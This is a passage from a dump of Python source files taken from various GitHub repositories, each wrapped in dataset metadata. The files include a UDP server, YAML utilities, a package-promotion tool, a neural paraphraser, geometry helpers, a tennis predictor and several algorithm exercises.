print(\"Mensagem\", msg.decode(), 'recebida de', cliente)\n udp.sendto(('OK-' + msg.decode()).encode(), cliente)\n\nwhile True:\n msg, cliente = udp.recvfrom(1024)\n sleep(2)\n t = threading.Thread(target=trata_cliente, args=(msg, cliente,))\n t.start()","repo_name":"AllanSmithll/SistemasOperacionais","sub_path":"06-Sockets/Prática 1/servidor.py","file_name":"servidor.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"31519788337","text":"from typing import Union, TextIO, Dict, Any, List, Optional\nimport os.path\nfrom ruamel.yaml import YAML\nfrom ruamel.yaml.comments import CommentedMap\nimport requests\nimport json\n\n\ndef _yaml_rec_sort(d):\n try:\n if isinstance(d, CommentedMap):\n return d.sort()\n except AttributeError:\n pass\n if isinstance(d, dict):\n # could use dict in newer python versions\n res = CommentedMap()\n for k in sorted(d.keys()):\n res[k] = _yaml_rec_sort(d[k])\n return res\n if isinstance(d, list):\n for idx, elem in enumerate(d):\n d[idx] = _yaml_rec_sort(elem)\n return d\n\n\ndef dump_yaml(document: Any, file: TextIO, sort_keys: bool = True):\n yaml = YAML()\n if sort_keys:\n yaml.dump(document, file)\n else:\n yaml.dump(_yaml_rec_sort(document), file)\n\n\ndef parse_yaml(file: Union[str, TextIO]) -> Dict[str, Any]:\n \"\"\" Parse a yaml file\n\n >>> parse_yaml(os.path.dirname(__file__)+'/../tests/test_data/simple_yaml.yml')\n {'test': 'yes'}\n \"\"\"\n if isinstance(file, str):\n if os.path.isfile(file) and os.path.exists(file):\n with open(file) as file:\n content = file.read()\n else:\n content = file\n else:\n content = file.read()\n\n yaml = YAML(typ=['rt', 'string'])\n return yaml.load(content) or {}\n\n\ndef create_json_catalog(catalog: Dict[str, Dict], ids_files: Optional[str]) -> Dict[str, Dict]:\n ids = {}\n if os.path.exists(ids_files):\n with open(ids_files) as f:\n ids = json.load(f)\n for key in catalog:\n if key not in ids:\n ids[key] = f\"repo-{str(len(ids)).zfill(5)}\"\n\n with open(ids_files, \"w\") as f:\n json.dump(ids, f)\n\n return {\n ids[key]: catalog[key]\n for key in catalog\n }\n\n\ndef get_local_or_download(version, force_download: bool = False, is_uri: bool = False):\n if is_uri:\n version = version.split(\"/\")[-2]\n basedir = os.path.dirname(__file__)\n local_path = os.path.join(basedir, \"schemas\", f\"{version}.json\")\n if not force_download and os.path.exists(local_path):\n return local_path\n else:\n req = requests.get(f\"https://htr-united.github.io/schema/{version}/schema.json\")\n req.raise_for_status()\n with open(local_path, \"w\") as f:\n f.write(req.text)\n return local_path\n","repo_name":"HTR-United/HTRUC","sub_path":"htruc/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2390,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"41232407244","text":"from .models import Session\nfrom user.models import User\n\nimport time\nimport base64\nimport random\nimport string\n\n\ndef create_session(username):\n user = User.objects.filter(username=username)\n if len(user) != 1:\n return False\n user = user[0]\n\n session = Session.objects.filter(\n user=user,\n finish=False\n )\n if len(session) > 0:\n session[0].delete()\n\n salt = ''.join(random.sample(string.ascii_letters + string.digits, 32))\n key = user.username + '-' + salt + '-' + str(time.time())\n\n return Session.objects.create(\n key=key,\n user=user\n )\n\n\ndef auth_and_delete(username, token):\n user = User.objects.filter(username=username)\n if len(user) != 1:\n return False\n user = user[0]\n\n session = Session.objects.filter(\n user=user,\n key=token,\n finish=False\n )\n if len(session) == 0:\n return False\n\n current_session = session[0]\n current_session.delete()\n\n return True\n","repo_name":"HoshinoTouko/Anti-Informer","sub_path":"session/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21937744711","text":"# -*- encoding: utf-8 -*-\n'''\n@File : test1.17.4.py\n@Time : 2020/03/18 09:51:26\n@Author : xdbcb8 \n@Version : 1.0\n@Contact : xdbcb8@qq.com\n@WebSite : www.xdbcb8.com\n'''\n\n# here put the import lib\nimport os\nL = []\nwith open('D:/vscode/python/test/test1.17.3.py.txt','r',encoding='utf8') as f:\n for i in f.readlines():\n L[i] = i.strip()","repo_name":"Next0ne/Python-homework","sub_path":"test/test1.17.4.py","file_name":"test1.17.4.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21840727174","text":"from datetime import datetime\nfrom typing import Dict\n\nfrom src.core.base_classes import Package\nfrom src.utils import logger as log\nfrom src.utils.config import Catalog, PackageState, JiraLane, Present\nfrom src.utils.config import conf\n\nlogger = log.get_logger(__file__)\n\n\nclass Promoter:\n \"\"\"\n The main class for the promotion logic of the program.\n The munki and jira packages will be compared and the munki packages will be\n updated according to the state of the jira packages. Additionally automatic\n catalog transitions are realised if the right criteria are fulfilled.\n \"\"\"\n\n def __init__(self, munki_packages: Dict, jira_packages: Dict):\n \"\"\"\n Initializes a promoter object which contains the munki and the jira packages.\n\n :param munki_packages: `Dict` the munki packages\n :param jira_packages: `Dict` the jira packages\n \"\"\"\n self.munki_pkgs_dict = munki_packages\n self.jira_pkgs_dict = jira_packages\n\n def promote(self):\n \"\"\"\n The starting point of the promotion. If the day of execution is the same\n as the configured promotion date the :func:`_date_promotions` are conducted.\n Afterwards always the :func:`_lane_promotions` are performed.\n \"\"\"\n if not datetime.now().strftime(\"%A\") == conf.DEFAULT_PROMOTION_DAY:\n logger.warning(\n f\"Will not promote packages, as it's not {conf.DEFAULT_PROMOTION_DAY}\"\n )\n else:\n self._date_promotions()\n\n self._lane_promotions()\n\n def _lane_promotions(self):\n \"\"\"\n If a jira package is in a promotion lane (TO_*CATALOG*), it is moved to\n the appropriate catalog (*CATALOG*).\n Additionally the respective munki package is searched and updated\n according to the jira package. If the munki package does not exist in\n the munki_repository it is marked as missing in jira.\n \"\"\"\n for jira_pkg in self.jira_pkgs_dict.values():\n if jira_pkg.jira_lane.is_promotion_lane:\n # Pkg is in a promotion lane\n jira_pkg.catalog = Catalog.str_to_catalog(\n jira_pkg.jira_lane.name.replace(\"TO_\", \"\")\n )\n\n logger.debug(\n f\"Package {jira_pkg} in promotion lane. Promoting to \"\n f\"{jira_pkg.catalog}\"\n )\n\n jira_pkg.state = PackageState.UPDATE\n jira_pkg.promote_date = datetime.now()\n jira_pkg.jira_lane = JiraLane.catalog_to_lane(jira_pkg.catalog)\n elif jira_pkg.jira_lane != JiraLane.catalog_to_lane(\n jira_pkg.catalog\n ):\n logger.debug(\n f\"Catalog and JiraLane Missmatch for package {jira_pkg}. \"\n f\"Resetting catalog.\"\n )\n jira_pkg.catalog = Catalog.jira_lane_to_catalog(\n jira_pkg.jira_lane\n )\n jira_pkg.state = PackageState.UPDATE\n\n munki_package = self.munki_pkgs_dict.get(jira_pkg.key)\n if munki_package and munki_package != jira_pkg:\n for key, value in jira_pkg.__dict__.items():\n if key not in Package.ignored_compare_keys():\n if munki_package.__dict__.get(key) != value:\n # Not all values of the existing jira ticket and the\n # local version match. Therefore update.\n logger.debug(\n f\"Updating munki pkg {munki_package} values as\"\n f\" {key} do not match: \"\n f\"{munki_package.__dict__.get(key)} != {value}\"\n )\n munki_package.state = PackageState.UPDATE\n setattr(munki_package, key, value)\n else:\n jira_pkg.present = Present.MISSING\n\n self.jira_pkgs_dict.update({jira_pkg.key: jira_pkg})\n\n def _date_promotions(self):\n \"\"\"\n If a package is tagged as autopromote and is longer than one week in its\n catalog it is moved to the next catalog. The jira package is updated.\n \"\"\"\n # Start to check for promotion as it is the correct weekday\n for jira_pkg in self.jira_pkgs_dict.values():\n if (\n datetime.now() - jira_pkg.promote_date\n ).days > conf.DEFAULT_PROMOTION_INTERVAL:\n # number of days in catalog exceeds limit\n if jira_pkg.is_autopromote:\n # only promote if autopromote is enabled\n new_catalog = jira_pkg.catalog.next_catalog\n\n if jira_pkg.catalog != new_catalog:\n logger.debug(\n f\"Date promotion for {jira_pkg} to {new_catalog}.\"\n )\n jira_pkg.state = PackageState.UPDATE\n jira_pkg.catalog = new_catalog\n jira_pkg.jira_lane = JiraLane.catalog_to_lane(\n jira_pkg.catalog\n )\n jira_pkg.promote_date = datetime.now()\n self.jira_pkgs_dict.update({jira_pkg.key: jira_pkg})\n else:\n logger.debug(\n f\"Ignoring {jira_pkg}, because autopromote is not set.\"\n )\n","repo_name":"tcinbis/munkipromoter","sub_path":"src/core/promotion.py","file_name":"promotion.py","file_ext":"py","file_size_in_byte":5530,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"32418614108","text":"class Solution:\n def setZeroes(self, matrix: List[List[int]]) -> None:\n \"\"\"\n Do not return anything, modify matrix in-place instead.\n \"\"\"\n\n n, m = len(matrix), len(matrix[0])\n row, col = [False] * n, [False] * m\n\n for i in range(n):\n for j in range(m):\n if matrix[i][j] == 0:\n row[i] = True\n col[j] = True\n\n for i in range(n):\n for j in range(m):\n if row[i] or col[j]:\n matrix[i][j] = 0\n","repo_name":"Jooc/LeetCode","sub_path":"python-version/leetcode/Interview/01.08.py","file_name":"01.08.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"20941427970","text":"\"\"\"\nProject Euler (http://projecteuler.net/)\nProblem 37\n\"\"\"\n\nfrom itertools import count\n\ndef isp(n):\n if n < 2: return False\n if n == 2: return True\n if n % 2 == 0: return False\n for i in range(3, int(n**0.5+1), 2):\n if n % i == 0: return False\n return True\n\ndef istrunc(n):\n for i in range(len(str(n))-1):\n if not isp(int(str(n)[:i+1])): return False\n if not isp(int(str(n)[i+1:])): return False\n return True\n\ndef solution():\n tprimes = []\n for i in count(11, 2):\n if isp(i) and istrunc(i):\n tprimes.append(i)\n\n if len(tprimes) >= 11:\n break\n\t\t\n return sum(tprimes)\n\nif __name__ == \"__main__\":\n print(solution())","repo_name":"tnaumann/ProjectEuler","sub_path":"problem037.py","file_name":"problem037.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13136960483","text":"import tensorflow as tf\nfrom embeddings import load_sentence_embeddings\nfrom preprocess_data import preprocess_batch\nfrom six.moves import input\nfrom lstm_model import lstm_model\nimport numpy as np\nfrom pprint import pprint as pp\nimport random\n\nimport json\nimport numpy as np\n\nclass Paraphraser(object):\n '''Heart of the paraphraser model. This class loads the checkpoint\n into the Tensorflow runtime environment and is responsible for inference.\n Greedy and sampling based approaches are supported\n '''\n\n def __init__(self, checkpoint):\n \"\"\"Constructor. Load vocabulary index, start token, end token, unk id,\n mask_id. Restore checkpoint.\n\n Args:\n checkpoint: A path to the checkpoint\n \"\"\"\n self.word_to_id, self.idx_to_word, self.embedding, self.start_id, self.end_id, self.unk_id, self.mask_id = load_sentence_embeddings()\n self.checkpoint = checkpoint\n gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.5)\n self.sess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options))\n self.model = lstm_model(self.sess, 'infer', 300, self.embedding, self.start_id, self.end_id, self.mask_id)\n saver = tf.train.Saver()\n saver.restore(self.sess, checkpoint)\n\n def sample_paraphrase(self, sentence, sampling_temp=1.0, how_many=1):\n \"\"\"Paraphrase by sampling a distribution\n\n Args:\n sentence (str): A sentence input that will be paraphrased by \n sampling from distribution.\n sampling_temp (int) : A number between 0 an 1\n\n Returns:\n str: a candidate paraphrase of the `sentence`\n \"\"\"\n\n return self.infer(1, sentence, self.idx_to_word, sampling_temp, how_many)\n\n def greedy_paraphrase(self, sentence):\n \"\"\"Paraphrase using greedy sampler\n \n Args:\n sentence : The source sentence to be paraphrased.\n\n Returns:\n str : a candidate paraphrase of the `sentence`\n \"\"\"\n\n return self.infer(0, sentence, self.idx_to_word, 0., 1)\n\n\n def infer(self, decoder, source_sent, id_to_vocab, temp, how_many):\n \"\"\" Perform inferencing. In other words, generate a paraphrase\n for the source sentence.\n\n Args:\n decoder : 0 for greedy, 1 for sampling\n source_sent : source sentence to generate a paraphrase for\n id_to_vocab : dict of vocabulary index to word\n end_id : the end token\n temp : the sampling temperature to use when `decoder` is 1\n\n Returns:\n str : for the generated paraphrase\n \"\"\"\n\n seq_source_words, seq_source_ids = preprocess_batch([ source_sent ] * how_many)\n #print(seq_source_words)\n #print(seq_source_ids)\n seq_source_len = [ len(seq_source) for seq_source in seq_source_ids ]\n #print(seq_source_len)\n\n feed_dict = {\n self.model['seq_source_ids']: seq_source_ids,\n self.model['seq_source_lengths']: seq_source_len,\n self.model['decoder_technique']: decoder,\n self.model['sampling_temperature']: temp\n }\n\n feeds = [\n self.model['predictions']\n #model['final_sequence_lengths']\n ]\n\n predictions = self.sess.run(feeds, feed_dict)[0]\n #print(predictions)\n return self.translate(predictions, decoder, id_to_vocab, seq_source_words[0])\n\n def translate(self, predictions, decoder, id_to_vocab, seq_source_words):\n \"\"\" Translate the vocabulary ids in `predictions` to actual words\n that compose the paraphrase.\n\n Args:\n predictions : arrays of vocabulary ids\n decoder : 0 for greedy, 1 for sample, 2 for beam\n id_to_vocab : dict of vocabulary index to word\n\n Returns:\n str : the paraphrase\n \"\"\"\n translated_predictions = []\n #np_end = np.where(translated_predictions == end_id)\n for sent_pred in predictions:\n translated = []\n for pred in sent_pred:\n word = 'UUNNKK'\n if pred == self.end_id:\n break\n if pred == self.unk_id:\n # Search for rare word\n for seq_source_word in seq_source_words:\n if seq_source_word not in self.word_to_id:\n word = seq_source_word\n else:\n word = id_to_vocab[pred]\n translated.append(word)\n translated_predictions.append(' '.join(translated))\n return translated_predictions\n \n# The job of the data loader is basically to load and stage data from the \n# parsed unanswerable qa json files and prepare it for model input. For each\n# qa entity in the dataset, there is a (context, question, answer-list) triplet\n# and we may want to paraphrase parts of any of these three elements in different\n# ways depending on the data source.\nclass UnanswerableQADataHandler(object):\n def read_data(self): pass\n def gen_context_paraphrase_span_ind(self, qa_key): pass\n def gen_question_paraphrase_span_ind(self, qa_key): pass\n def gen_answer_paraphrase_span_ind(self, qa_key, answer_ind): pass\n def run(self): pass\n \nclass CosmosQADataHandler(UnanswerableQADataHandler):\n def __init__(self, \n paraphraser,\n parsed_unanswerableqa_path,\n paraphrased_data_path,\n sampling_temp=0.5):\n self.paraphraser = paraphraser\n self.load_path = parsed_unanswerableqa_path\n self.save_path = paraphrased_data_path\n self.quail_nei_str = \"not enough information\"\n self.init = True\n self.sampling_temp = sampling_temp\n \n def read_data(self):\n with open(self.load_path, mode='r', encoding=\"utf8\") as f:\n self.qa_data = json.load(f)\n self.init = False\n \n def gen_context_paraphrase_span_ind(self, context):\n #context = self.data_dict[qa_key]['context']\n return None\n \n def gen_question_paraphrase_span_ind(self, question):\n #question = self.data_dict[qa_key]['question']\n return (0,len(question))\n \n def gen_answer_paraphrase_span_ind(self, answer):\n #answer = self.data_dict[qa_key]['answer'+str(answer_ind)]\n if self.quail_nei_str in answer:\n return None\n else:\n return (0,len(answer))\n \n def paraphrase_subspans(self, source, para_span, paraphrases_per_sample=1):\n paraphrases = np.full(paraphrases_per_sample, source, dtype=object)\n \n # If para_span is not None, then we want to paraphrase the subspans for this data source...\n if para_span != None:\n # Get the portion of the source which we will paraphrase\n source_subspan = source[para_span[0]:para_span[1]]\n \n # Generate the source subspan paraphrases\n subspan_paraphrases = self.paraphraser.sample_paraphrase(source_subspan, \n sampling_temp=self.sampling_temp,\n how_many=paraphrases_per_sample)\n #subspan_paraphrases = np.array(subspan_paraphrases, dtype=object)\n \n if (para_span[1]-para_span[0]) == len(source):\n return subspan_paraphrases\n \n for k in range(paraphrases_per_sample):\n paraphrases[k] = source[:para_span[0]] + subspan_paraphrases[k] + source[para_span[1]:] \n \n # Otherwise if we don't want to paraphrase source subspans for this\n # data source, we will just keep the original source as is.\n else:\n #subspan_paraphrases = np.full((1,paraphrases_per_sample), source, dtype=object)\n pass\n \n return paraphrases\n \n def run(self, paraphrases_per_sample=1):\n if self.init == True: # Only read data file on first run\n self.read_data()\n print(\"Finished reading the qa data in initial phase.\")\n \n # For each qa entity which contains a (context, question, answer-list)\n # triple, generate and replace subspans of the text with new paraphrased\n # versions, based on data source paraphrasing methods.\n paraphrased_qa_entries = []\n for k, qa_entry in enumerate(self.qa_data):\n if k == 1268:\n continue\n \n if k % 10 == 0:\n print(\"Processing qa entry {} out of {}\".format(k, len(self.qa_data)))\n \n # Process the context through the model\n context = qa_entry['Context']\n para_span = self.gen_context_paraphrase_span_ind(context)\n context_subspan_paraphrases = self.paraphrase_subspans(context, \n para_span,\n paraphrases_per_sample)\n \n # Process the question through the model\n question = qa_entry['Question']\n para_span = self.gen_question_paraphrase_span_ind(question)\n question_subspan_paraphrases = self.paraphrase_subspans(question,\n para_span,\n paraphrases_per_sample)\n\n \n # Process the answer choices through the model. Note that only the\n # three distractor answer choices should be paraphrased for\n # unanswerable questions\n answer_choice_A = qa_entry['Choices']['A']\n para_span = self.gen_answer_paraphrase_span_ind(answer_choice_A)\n answerA_subspan_paraphrases = self.paraphrase_subspans(answer_choice_A,\n para_span,\n paraphrases_per_sample)\n \n \n answer_choice_B = qa_entry['Choices']['B']\n para_span = self.gen_answer_paraphrase_span_ind(answer_choice_B)\n answerB_subspan_paraphrases = self.paraphrase_subspans(answer_choice_B,\n para_span,\n paraphrases_per_sample)\n \n \n answer_choice_C = qa_entry['Choices']['C']\n para_span = self.gen_answer_paraphrase_span_ind(answer_choice_C)\n answerC_subspan_paraphrases = self.paraphrase_subspans(answer_choice_C,\n para_span,\n paraphrases_per_sample)\n \n answer_choice_D = qa_entry['Choices']['D']\n para_span = self.gen_answer_paraphrase_span_ind(answer_choice_D)\n answerD_subspan_paraphrases = self.paraphrase_subspans(answer_choice_D,\n para_span,\n paraphrases_per_sample)\n \n for par_itr in range(paraphrases_per_sample):\n paraphrased_qa_entry = {}\n paraphrased_qa_entry['Context'] = context_subspan_paraphrases[par_itr]\n paraphrased_qa_entry['Question'] = question_subspan_paraphrases[par_itr]\n paraphrased_qa_entry['Reasoning type'] = \"Unanswerable\"\n paraphrased_qa_entry['Choices'] = {}\n paraphrased_qa_entry['Choices']['A'] = answerA_subspan_paraphrases[par_itr]\n paraphrased_qa_entry['Choices']['B'] = answerB_subspan_paraphrases[par_itr]\n paraphrased_qa_entry['Choices']['C'] = answerC_subspan_paraphrases[par_itr]\n paraphrased_qa_entry['Choices']['D'] = answerD_subspan_paraphrases[par_itr]\n paraphrased_qa_entry['Answer'] = qa_entry['Answer']\n paraphrased_qa_entries.append(paraphrased_qa_entry)\n \n #if k % 10 == 0:\n # print(\"{}\\n{}\\n\\n\".format(qa_entry, paraphrased_qa_entry))\n \n with open(self.save_path, 'w') as json_file:\n json.dump(paraphrased_qa_entries, json_file)\n \ndef interactive_paraphrasing(paraphraser):\n while 1:\n source_sentence = input(\"Source: \")\n #p = paraphraser.greedy_paraphrase(source_sentence)\n #print(p)\n paraphrases = paraphraser.sample_paraphrase(source_sentence, sampling_temp=0.25, how_many=10)\n for i, paraphrase in enumerate(paraphrases):\n print(\"Paraph #{}: {}\".format(i, paraphrase))\n\ndef main():\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument('--checkpoint', type=str, help='Checkpoint path')\n args = parser.parse_args()\n paraphraser = Paraphraser(args.checkpoint)\n\n # Takes input from the \n #interactive_paraphrasing(paraphraser)\n \n parsed_unanswerableqa_path = \"../../../datasets/cosmos_qa/parsed_unanswerable/cosmos_qa_valid_unanswerable.json\"\n paraphrased_data_output_path_base = \"../../../datasets/cosmos_qa/parsed_unanswerable/cosmos_qa_valid_unanswerable_paraphrased\"\n for sample_temp in np.array([0.2, 0.35, 0.45, 0.6, 0.75]):\n cosmos_qa_handler = CosmosQADataHandler(paraphraser, \n parsed_unanswerableqa_path, \n paraphrased_data_output_path_base + \"_\" + str(sample_temp) + \".json\",\n sampling_temp=0.2)\n cosmos_qa_handler.run(paraphrases_per_sample=1)\n \nif __name__ == '__main__':\n main()\n\n","repo_name":"RMoraffah/NLP-Papers","sub_path":"unanswerable_qa/models/paraphraser/paraphraser/inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":13969,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"40928894542","text":"class Solution:\n def numBusesToDestination(self, routes: List[List[int]], source: int, target: int) -> int:\n adjList = defaultdict(list)\n\n for i in range(len(routes)):\n for j in routes[i]:\n adjList[j].append(i)\n \n\n queue = deque([(source, 0)])\n visitedStation = set([source])\n visitedBuses = set()\n \n\n while queue:\n station, buses = queue.popleft()\n\n if station == target:\n return buses \n\n for nxtBuses in adjList[station]:\n if nxtBuses not in visitedBuses:\n for stations in routes[nxtBuses]:\n if stations not in visitedStation:\n visitedStation.add(stations)\n queue.append((stations, buses + 1))\n\n visitedBuses.add(nxtBuses)\n\n return -1","repo_name":"yordi68/Competitive_Programming","sub_path":"bus-routes.py","file_name":"bus-routes.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42899881835","text":"def intersection(line1, line2):\n xd = line1[0][0] - line1[1][0], line2[0][0] - line2[1][0]\n yd = line1[0][1] - line1[1][1], line2[0][1] - line2[1][1]\n det = lambda a, b: a[0] * b[1] - a[1] * b[0]\n div = det(xd, yd)\n if div == 0:\n return False\n d = det(*line1), det(*line2)\n x = det(d, xd) / div\n y = det(d, yd) / div\n return x, y\n\ndef pt_on_line(l, pt):\n (x1, y1), (x2, y2) = l\n return min(x1, x2) <= pt[0] <= max(x1, x2) \\\n and min(y1, y2) <= pt[1] <= max(y1, y2)\n\ndef midpoint(x0, y0, x1, y1, flatten=True):\n if flatten:\n return int(x0+(x1-x0)/2), int(y0+(y1-y0)/2)\n else:\n return x0+(x1-x0)/2, y0+(y1-y0)/2\n\ndef scale_linear(smin, smax, tmin, tmax, flatten=True):\n scale = (tmax - tmin) / (smax - smin)\n if flatten:\n factory = lambda val: int(((val - smin) * scale) + tmin)\n else:\n factory = lambda val: ((val - smin) * scale) + tmin\n return factory\n\ndef rotate(x, y, cx, cy, t, flatten=True):\n from math import sin, cos\n dx = x - cx\n dy = y - cy\n sin_t = sin(t)\n cos_t = cos(t)\n x1 = cos_t * dx - sin_t * dy + cx\n y1 = sin_t * dx + cos_t * dy + cy\n if flatten:\n return int(x1), int(y1)\n else:\n return x1, y1\n\ndef scale(x, y, cx, cy, scale, flatten=True):\n if flatten:\n return int((x - cx) * scale + cx), int((y - cy)*scale + cy)\n else:\n return (x - cx) * scale + cx, (y - cy)*scale + cy\n\ndef move(x, y, vx, vy, flatten=True, scale=1):\n # scale of 1 or -1 is useful for moving a point\n # to the origin (-1) and back (1) for transforms\n if flatten:\n return int(x + vx * scale), int(y + vy * scale)\n else:\n return x + vx * scale, y + vy * scale\n\ndef mirror_x(x, y, x1, flatten=True):\n if flatten:\n return int(2 * x1 - x), int(y)\n else:\n return 2 * x1 - x, y\n\ndef mirror_y(x, y, y1, flatten=True):\n if flatten:\n return int(x), int(2 * y1 - y)\n else:\n return x, 2 * y1 - y\n\ndef mirror(x, y, l):\n pass\n\ndef sumprod(vector1, vector2):\n # \"dot product\"\n from functools import reduce\n return reduce(lambda i, j: i+j, map(lambda j: j[0]*j[1], zip(vector1, vector2)))\n","repo_name":"PinkInk/esp32","sub_path":"lib/d2.py","file_name":"d2.py","file_ext":"py","file_size_in_byte":2193,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"360950824","text":"\"\"\"\nThis file is used to improve program's overall accuracy\n\"\"\"\nimport logging as log\nimport pandas as pd\nfrom datetime import datetime\n\n# logging config\nlog.basicConfig(filename='E:/startups/AtpPredictionBot/logs.txt', level=log.INFO)\ncur_time = str(datetime.now())[0:16]\n\n\ndef predict_match(model, series, description: str):\n \"\"\"\n Match prediction method.\n\n @param model: XGboost model\n @type model: XGboost classifier\n @param series: dictionary of match parameters\n @type series: Dict[str, Any]\n @param description match desc (ex. date player - player)\n @type description string\n \"\"\"\n\n index = 1\n vector = pd.DataFrame(series, index=[index])\n feat_names = model.get_booster().feature_names\n res = model.predict_proba(vector[feat_names].iloc[[-1]])\n y_pred = res[0]\n\n if y_pred[0] >= 0.6:\n output = ' Time: ' + cur_time + ' Match date: ' + description + \" Prediction: loser. Conf: \" + str(y_pred[0])\n print(output)\n log.info(output)\n elif y_pred[1] >= 0.6:\n output = ' Time: ' + cur_time + ' Match date: ' + description + \" Prediction: winner. Conf: \" + str(y_pred[1])\n print(output)\n log.info(output)\n\n\ndef test_confidence_prediction(model, X_test: pd.DataFrame, y_test: pd.Series):\n \"\"\"\n Test predictions only on outcome where our prediction confidence is >= 6.0\n\n @param model: XGboost model\n @type model: XGboost classifier\n @param X_test : test x data to predict\n @type X_test: DataFrame\n @param y_test: test y data\n @type y_test: Series\n @rtype: string\n @returns: string of regularized prediction accuracy in percentages\n \"\"\"\n\n y_test_values = []\n y_test_pred = []\n\n for index, row in X_test.iterrows():\n l_coef = row[\"Lcoef\"]\n w_coef = row['Wcoef']\n\n series = {\n 'Wcoef': w_coef,\n 'Lcoef': l_coef,\n 'Wrank': row['Wrank'],\n 'Lrank': row['Lrank'],\n 'Wwins': row['Wwins'],\n 'Lwins': row['Lwins'],\n 'Welo': row['Welo'],\n 'Lelo': row['Lelo']\n }\n\n # predict each test match\n vector = pd.DataFrame(series, index=[index])\n feat_names = model.get_booster().feature_names\n res = model.predict_proba(vector[feat_names].iloc[[-1]])\n # res[0][0] - loser\n # res[0][1] - winner\n y_pred = res[0]\n\n # if xgboost predicted player with probability >= 0.6\n # then add actual and predicted outcome to our test dataset\n if y_pred[0] >= 0.6:\n y_test_values.append(y_test[index])\n y_test_pred.append(0)\n elif y_pred[1] >= 0.6:\n y_test_values.append(y_test[index])\n y_test_pred.append(1)\n\n amount_of_matched_games = 0\n\n for value in range(0, len(y_test_values)):\n if y_test_values[value] == y_test_pred[value]:\n amount_of_matched_games += 1\n\n accuracy = amount_of_matched_games * 100 / len(y_test_values)\n return str(accuracy) + ' %'\n","repo_name":"artem-kurilko/Atp-Betting","sub_path":"Python/prediction.py","file_name":"prediction.py","file_ext":"py","file_size_in_byte":3017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39997963633","text":"'''\nPrime digit replacements\nProblem 51\n\nBy replacing the 1st digit of the 2-digit number *3, it turns out that six of the nine possible values:\n 13, 23, 43, 53, 73, and 83, are all prime.\n\nBy replacing the 3rd and 4th digits of 56**3 with the same digit, this 5-digit number is the first example\nhaving seven primes among the ten generated numbers, yielding the family:\n 56003, 56113, 56333, 56443, 56663, 56773, and 56993.\nConsequently 56003, being the first member of this family, is the smallest prime with this property.\n\nFind the smallest prime which, by replacing part of the number (not necessarily adjacent digits) with the same digit,\nis part of an eight prime value family.\n '''\n\nfrom utils import prime\n\nmaxi = 999999\n\n\ndef hasThreeRepeating(n):\n '''\n you don't have to check the primes with two or four recurring digits. \n If you form 8 different numbers with them, at least once the sum of the digits (and the whole number) \n is divisible by three.\n '''\n numberList = list(str(n))\n numberList.sort()\n s = \"\"\n for i in numberList:\n s += str(i)\n\n for c in s:\n if (s.rfind(c) - s.find(c)) == 2:\n return True\n\n return False\n\n\ndef main():\n\n primes = prime.getPrimes(maxi)\n print(\"Step one complete . # = \", len(primes))\n primesFiltered = [i for i in primes if i >= 56000 and hasThreeRepeating(i)]\n print(\"Step two complete . # = \", len(primesFiltered))\n assert (56333 in primes)\n #assert(56330 in primes)\n\n intSet = set([i for i in range(0, 10)])\n\n for p in primesFiltered:\n s = str(p)\n found = False\n intList = set([int(i) for i in s])\n for i in intList:\n foundCount = 1\n pl = []\n for j in intSet:\n if (i != j):\n newInt = int(s.replace(str(i), str(j)))\n l = len(str(newInt))\n if (l > 5) and (newInt in primes):\n foundCount += 1\n pl.append(newInt)\n #print(p,\" \",newInt)\n if (foundCount >= 7):\n print(s, foundCount, pl)\n if foundCount > 7:\n found = True\n break\n if found:\n break\n\n\nif __name__ == '__main__':\n main()\n print(\"Progam completed\")\n","repo_name":"murli777/Project-Euler-Solutions","sub_path":"src/051-100/P051-combi-prime.py","file_name":"P051-combi-prime.py","file_ext":"py","file_size_in_byte":2349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17127166536","text":"#!/usr/bin/env python3\n\"\"\" Week 1 - Video : Quick Find\n## This is an Eager execution of this algorithm and will perform poorly with large dataset\n## In this we store the numbers in an array and try to match the index of the connecting\n## nodes, so if in an array of 5 nodes 1 and 3 are connected the array will look like\n## [0,1,2,1,4]\n\"\"\"\n\nclass DynamicConnectivity:\n \"\"\"\n \nconnected and union method for checking dynamic_connectivity\n \"\"\"\n def __init__(self, n):\n '''\n Complexity : n\n '''\n self.n = n\n self.id = [i for i in range(n)]\n print(self.id)\n\n def connected(self, p, q):\n '''\n Complexity: 1\n '''\n return self.id[p] == self.id[q]\n\n def union(self, p, q):\n '''\n Complexity: n\n '''\n pid = self.id[p]\n qid = self.id[q]\n if not self.connected(p, q):\n for i in range(self.n):\n if self.id[i] == pid:\n self.id[i] = qid\n\n def printit(self):\n \"\"\"\n Prints the array\n \"\"\"\n print(self.id)\n\n\ndef main():\n \"\"\"\n Main Method that runs the first time\n \"\"\"\n total_nodes = 6\n union_pairs = [(1, 3), (2, 4), (4, 5)]\n dynamic_connectivity = DynamicConnectivity(total_nodes)\n for 